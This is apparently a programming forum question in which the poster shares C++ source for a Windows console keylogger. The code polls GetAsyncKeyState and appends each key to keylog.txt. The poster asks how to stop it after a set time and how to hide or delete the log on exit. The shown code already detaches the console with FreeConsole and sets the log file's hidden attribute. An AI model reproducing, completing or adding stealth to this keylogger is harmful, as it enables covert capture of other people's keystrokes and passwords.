I just created a console based keylogger application. Since my keylogger application is an endless loop (never closes), I wonder if I can make the keylogger automatically terminates itself after 20 seconds.
while (true)
{
    for (key = 8; key <= 190; key++) // ascii code
    {
        if (GetAsyncKeyState(key) == -32767)
            if (KeyIsListed(key) == FALSE)
                {
                    ofstream logfile;
                    logfile.open("keylog.txt", fstream::app);
                    logfile << key;
                    logfile.close();
                }
    }
}
Based on your suggestion, this is what I changed so far
FreeConsole(); 
char key;
//time_t future = time(NULL) + 3; // exit after 3 seconds
clock_t start = clock();
while (true)
{
    if (((clock() - start) / CLOCKS_PER_SEC) >= 3) // if (time(NULL) > future)
    {
        DWORD attributes = GetFileAttributes("keylog.txt");
        SetFileAttributes("keylog.txt", attributes + FILE_ATTRIBUTE_HIDDEN);
        // remove("keylog.txt");
        break;
    }
    for (key = 8; key <= 190; key++) // ascii code
    {
        if (GetAsyncKeyState(key) == -32767)
            if (KeyIsListed(key) == FALSE)
                {
                    ofstream logfile;
                    logfile.open("keylog.txt", fstream::app);
                    logfile << key;
                    logfile.close();
                }
    }
}
exit(0);
I checked the Task Manager after 3 seconds and the keylogger still ran in the background.
Also, how can I remove keylog.txt or set keylog.txt hidden upon terminating the program?